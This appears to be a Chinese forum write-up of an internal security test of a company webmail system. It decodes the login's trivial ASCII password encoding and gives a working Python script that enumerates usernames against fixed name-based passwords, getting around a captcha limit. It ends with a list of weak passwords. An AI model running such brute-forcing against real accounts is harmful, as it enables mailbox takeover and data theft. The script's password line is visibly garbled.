本帖最后由 寂寞先生 于 2018-12-21 10:11 编辑
0x00前言 入职了公司安全部,就开始对我公司的各系统做一轮安全测试。界面如下:
公司使用的是第三方的邮件系统。
0x02登录加密分析
没有0day只能研究研究他的登录安全性,能破解几个弱口令也是可以的。测试时发现登录请求报文的用户名明文传输,密码做了加密: 仔细观察发现,密码好像并不是什么加密。登录时我输入的用户名是testtest,密码是12345678,抓包,用户名为明文,密为:%24491%3B%24501%3B%24511%3B%24521%3B%24531%3B%24541%3B%24551%3B%24561%3B。将密码字段做url解码:
得到解码后的值为:$491;$501;$511;$521;$531;$541;$551;$561; 我输入的密码是:12345678 现在加密的值是:$491;$501;$511;$521;$531;$541;$551;$561; 看了一会儿,似乎有点规律。经过仔细分析查看,将他们一一对应起来进行对比: 1 2 3 4 5 6 7 8
$491; $501; $511; $521; $531; $541; $551; $561;
不难发现其中的规律,根据经验,1对应的ascii码为49, 2的ascii码为50。 以此类推,发现其中的加密算法为:将密码字符串1做ascii编码,然后用 "$" + "49" + "1;" 拼接起来就是密码的加密算法。 1 –> $491; 2 –> $501; A –> $651; a –> $971;
将用户输入的字符串做以上编码处理,然后向服务器发送请求。服务器会做相应的解码。然后一列的判断密码是否正确 。
经过测试发现,邮箱系统本身重置密码时已经做了弱密码检测:
但有些密码可以通过该弱口令规则,但仍属于易破解密码 测试过程发现,同一个邮箱用户名连续输入错误密码三次就会弹出图片验证码:
此验证码是可以直接识别的,但这里不做深入研究:
验证码作用是防止攻击者暴力破解。 综上,虽然有以上防弱口令、防爆破规则,但仍有漏网之鱼。收集一些公司同事姓名,有针对性的生成有些跟用户名相关的密码字典。就可以爆破出弱口令。 经过抓包分析,编写爆破程序: #coding:utf-8
import requests
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://mail.test.com/'
}
n = 1
good = open('good.txt','a')
url = 'http://mail.test.com/xmweb?host=mail.test.com&_t=1530144631717'
with open('yonghuming.txt','r') as u:
for i in u:
password = i.strip().upper() + '[email protected]#'
c = ''
for j in password:
b = str(ord(j))
c += '$' + b + '1;'
jiami_pass = c
user = i.strip()
data = {'chr':'gb','func':'login','isp_domain':'','verifycookie':'','verifyip':'','buttonType':'1','usr':user,'domain':'test.com','domainType':'wm','encode':'on','username':user,'pass':jiami_pass}
html = requests.post(url = url,data = data,headers = header).content
if len(html) > 20000:
print '[OK] user:' + user + '@test.com ---- password:' + password
good.write('\n[OK] ' + user + '@test.com ---- password:' + password)
else:
n += 1
print str(n) + ':' + user + ':' + password
good.close()
虽然有连续输入三次密码错误验证码,但是攻击者可以固定密码格式去枚举用户名。
测试过程如下,爆破成功密码就把结果保存到本地。
通过几轮的测试,可以成功爆破出了很多强类型的“弱密码”账号。 例如:用户名为zhangwei,密码为Zhangwei123456
枚举出一些账号密码后,及时邮件通知了他们修改密码。
本次测试,只用了简单的密码模型就爆破出了几个邮箱账号,只要花点时间,测试一些高难度的密码,还会破解出跟多的账号密码。企业安全不容忽视。
0x03 后话 外部攻击者可以爆破邮箱密码,进入邮箱,查看公司内部文件、数据。造成信息泄露。 以下密码及类似密码均为弱密码或易破解密码: 以姓名为 张三 为例: 密码为: zhangsan zhangsan. zhangsan123 ZHANGSAN123 ZHANGSAN123456 Zhangsan ZHANGSAN zhangsan123456 1qaz2wsx 1qaz2wsx3edc ZhangSan zhangsan520等等。。。
|